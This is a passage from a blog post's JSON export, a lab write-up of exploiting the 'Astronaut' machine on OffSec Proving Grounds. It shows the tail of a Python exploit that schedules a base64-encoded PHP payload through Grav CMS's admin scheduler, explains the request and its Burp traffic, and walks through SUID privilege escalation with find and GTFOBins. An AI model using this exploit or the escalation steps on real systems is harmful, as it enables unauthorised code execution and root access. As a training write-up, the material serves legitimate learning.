style=\"color: #C3E88D\">=<\/span><span style=\"color: #F78C6C\">%2a%20%<\/span><span style=\"color: #C3E88D\">2a<\/span><span style=\"color: #F78C6C\">%20%<\/span><span style=\"color: #C3E88D\">2a<\/span><span style=\"color: #F78C6C\">%20%<\/span><span style=\"color: #C3E88D\">2a<\/span><span style=\"color: #F78C6C\">%20%<\/span><span style=\"color: #C3E88D\">2a&amp;data<\/span><span style=\"color: #F78C6C\">%5b<\/span><span style=\"color: #C3E88D\">custom_jobs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">ncefs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">output<\/span><span style=\"color: #F78C6C\">%5d<\/span><span style=\"color: #C3E88D\">=&amp;data<\/span><span style=\"color: #F78C6C\">%5b<\/span><span style=\"color: #C3E88D\">status<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">ncefs<\/span><span style=\"color: #F78C6C\">%5d<\/span><span style=\"color: #C3E88D\">=enabled&amp;data<\/span><span style=\"color: #F78C6C\">%5b<\/span><span style=\"color: #C3E88D\">custom_jobs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">ncefs<\/span><span style=\"color: #F78C6C\">%5d%5b<\/span><span style=\"color: #C3E88D\">output_mode<\/span><span style=\"color: #F78C6C\">%5d<\/span><span style=\"color: #C3E88D\">=append<\/span><span style=\"color: #89DDFF\">&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    headers <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">Content-Type<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">application\/x-www-form-urlencoded<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    r <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> s<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">post<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">target<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">\/admin\/config\/scheduler<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF; font-style: italic\">data<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">data<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF; font-style: italic\">headers<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">headers<\/span><span style=\"color: #89DDFF\">)<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>This constructs the malicious request. If the value for adminNonce is not empty, the script creates a malicious POST request.<\/p>\n\n\n\n<p>The URL for the request is &#8211;&gt; target + &#8220;\/admin\/tools\/scheduler&#8221;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>remember we previously added the value for the target variable (Astronaut&#8217;s IP).<\/li>\n<\/ul>\n\n\n\n<p>The data variable is with the token that was grabbed from the previous bit of code and other payload details<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>command<\/code> &#8211;&gt; Specifies <code>\/usr\/bin\/php<\/code> as the command to run.<\/li>\n\n\n\n<li><code>args<\/code> &#8211;&gt; Encodes the payload and passes it to the <code>php -r<\/code> command to be executed.<\/li>\n\n\n\n<li><code>at<\/code> &#8211;&gt; Sets the cron schedule to run the job immediately.<\/li>\n\n\n\n<li><code>output_mode<\/code> &#8211;&gt; Specifies how to handle the job&#8217;s output.<\/li>\n<\/ul>\n\n\n\n<p>The <code>headers<\/code> dictionary sets the Content-Type to &#8220;<code>application\/x-www-form-urlencoded<\/code>&#8220;<\/p>\n\n\n\n<p>Finally the script sends the POST request to the target to schedule and execute the payload.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Playing in Traffic<\/h4>\n\n\n\n<p>I have discovered a way to proxy the traffic from Python scripts through Burp Suite. It should provide a nice visual for what the exploit is sending.<\/p>\n\n\n\n<p>In the screenshot, it can be seen that a GET request is sent to the proper URL as Astronaut&#8217;s admin page. Searching through the response body finds the existence of &#8220;admin-nonce&#8221; and its value that the Python script is seeking.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"790\" height=\"394\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-16.png\" alt=\"\" class=\"wp-image-168\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-16.png 790w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-16-300x150.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-16-768x383.png 768w\" sizes=\"auto, (max-width: 790px) 100vw, 790px\" \/><\/figure>\n\n\n\n<p>The script then sends a POST request to the destination shown in the last line of our Python script (target+&#8221;\/admin\/config\/scheduler&#8221;). The admin-nonce and its corresponding value have also been placed in the body of the request.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"790\" height=\"516\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-17.png\" alt=\"\" class=\"wp-image-169\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-17.png 790w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-17-300x196.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-17-768x502.png 768w\" sizes=\"auto, (max-width: 790px) 100vw, 790px\" \/><\/figure>\n\n\n\n<p>Scrolling further into the request body brings us to the other parameters the script sent. Most were generated in the lower portion of our Python script. But if we Mouse-Hover over the larger block, Burp decodes the URL encoding and reveals a more readable version of our Base64 encoded payload that we created.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"792\" height=\"516\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-18.png\" alt=\"\" class=\"wp-image-170\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-18.png 792w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-18-300x195.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-18-768x500.png 768w\" sizes=\"auto, (max-width: 792px) 100vw, 792px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Privilege Escalation<\/h3>\n\n\n\n<p>After several enumeration techniques, an eventual successful privilege escalation path was found by exploiting a binary with the SUID bit set. The SUID (Set User ID) bit is a file permission in Unix-like operating systems. When this bit is set on an executable file, it allows users to execute the file with the privileges of the file owner. If that owner is &#8220;root&#8221;, the program runs with root&#8217;s permissions.<\/p>\n\n\n\n<p>Check for binaries with the SUID bit set by using the below command.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>find \/ -perm -4000 2&gt;\/dev\/null<\/code><\/pre>\n\n\n\n<p>This utilizes the &#8220;find&#8221; command which searches for file and directories in a given directory.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\/ &#8211;&gt; it starts searching in the root directory, thereby searching the entire file system.<\/li>\n\n\n\n<li>-perm -4000 &#8211;&gt; looks for files with their permission bit set to 4000, which is the SUID (Set User ID) permission.<\/li>\n\n\n\n<li>2&gt;\/dev\/null &#8211;&gt; redirects the standard error output (file descriptor 2) into \/dev\/null, which is a sort of data black hole. Essential it discards all the error message (which we do not want to see), making the output cleaner to view.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"607\" height=\"221\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-19.png\" alt=\"\" class=\"wp-image-172\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-19.png 607w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-19-300x109.png 300w\" sizes=\"auto, (max-width: 607px) 100vw, 607px\" \/><\/figure>\n\n\n\n<p>The names of these binaries can then be put into the search bar on <a href=\"https:\/\/gtfobins.github.io\/\" target=\"_blank\" rel=\"noopener\" title=\"GTFO Bins\">GTFO Bins<\/a> website. The site provides a database of various exploits associated with binaries. All those revealed by the command can be searched (just the binary name at the end). Experience will speed the process up, due to many showing up on nearly every machine you run the command on and you will learn which ones bear no fruit.<\/p>\n\n\n\n<p>There is an interesting one further down on the list.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"474\" height=\"246\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-21.png\" alt=\"\" class=\"wp-image-175\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-21.png 474w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-21-300x156.png 300w\" sizes=\"auto, (max-width: 474px) 100vw, 474px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"829\" height=\"257\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-22.png\" alt=\"\" class=\"wp-image-176\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-22.png 829w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-22-300x93.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-22-768x238.png 768w\" sizes=\"auto, (max-width: 829px) 100vw, 829px\" \/><\/figure>\n\n\n\n<p>Move to the section regarding SUID.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"802\" height=\"377\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-23.png\" alt=\"\" class=\"wp-image-177\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-23.png 802w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-23-300x141.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-23-768x361.png 768w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-23-800x377.png 800w\" sizes=\"auto, (max-width: 802px) 100vw, 802px\" \/><\/figure>\n\n\n\n<p>To execute, change your working directory to the location the &#8220;find \/ -perm&#8221; command stated the binary was in. Then Copy &amp; Paste the commands into the terminal (one line per command).<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"827\" height=\"156\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-24.png\" alt=\"\" class=\"wp-image-178\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-24.png 827w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-24-300x57.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-24-768x145.png 768w\" sizes=\"auto, (max-width: 827px) 100vw, 827px\" \/><\/figure>\n\n\n\n<p>To find the flag, change into the root directory (cd). List the files (ls) in the directory. For taking &#8220;proof&#8221; screenshots, I like to use a command string that prints to screen: date, username, working directory, the proof flag, target machine&#8217;s IP.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"817\" height=\"482\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-25.png\" alt=\"\" class=\"wp-image-179\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-25.png 817w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-25-300x177.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-25-768x453.png 768w\" sizes=\"auto, (max-width: 817px) 100vw, 817px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading has-text-align-center\">The Debriefing<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">What went right?<\/h3>\n\n\n\n<p>I was able to exploit the machine from start to finish and create this write up. It is my first attempt a putting something like this on the web and I feel it looks pretty decent. Also, reading over it several times, I feel it conveys information well.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What went wrong?<\/h3>\n\n\n\n<p>Being my first attempt at making a report for the web, this took me an awful long time. I am hoping the subsequent reports go a little faster and are less frustrating. Compared to creating the blog report, breaking the machine was a breeze.<\/p>\n\n\n\n<p>I had a large learning curve with just figuring out how to do everything while creating the content. Ironically, Grav CMS is designed for making this type of thing easier. And here I was, punching it in the face!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Lessons Learned<\/h3>\n\n\n\n<p>I will continue to learn and streamline my reporting process for the web. I became a bit more clear on formatting and figuring out my audience for this. I suppose I am the audience. And if others find it useful (or not) so be it. <\/p>\n\n\n\n<p>I am getting more particular with the explanation of steps. While breaking a machine, in the moment I have a tendency to go at high speed in pursuit of the goal. Slowing down enough to step out what was going on is working well.<\/p>\n\n\n\n<p>Already learned interesting things, like how to proxy Python script traffic through Burp. I am also getting more ideas for posts other than breaking machines. Perhaps describing some techniques I commonly use in a post and linking to it in my reports would be a good approach.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Summary Platform Site OffSec Proving Grounds (Practice) Hostname astronaut Domain astronaut.offsec Operating System \/ Architecture Linux \/ x86-64 Rating Easy This is a write up for the &#8220;Astronaut&#8221; vulnerable machine from the Offensive Security Proving Grounds (Practice) labs. I will show the testing process and successful exploitation of the machine, from initial scanning to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-138","post","type-post","status-publish","format-standard","hentry","category-vuln-machines"],"_links":{"self":[{"href":"https:\/\/bencron.com\/index.php?rest_route=\/wp\/v2\/posts\/138","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bencron.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bencron.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bencron.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bencron.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=138"}],"version-history":[{"count":22,"href":"https:\/\/bencron.com\/index.php?rest_route=\/wp\/v2\/posts\/138\/revisions"}],"predecessor-version":[{"id":397,"href":"https:\/\/bencron.com\/index.php?rest_route=\/wp\/v2\/posts\/138\/revisions\/397"}],"wp:attachment":[{"href":"https:\/\/bencron.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=138"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bencron.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=138"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bencron.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=138"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}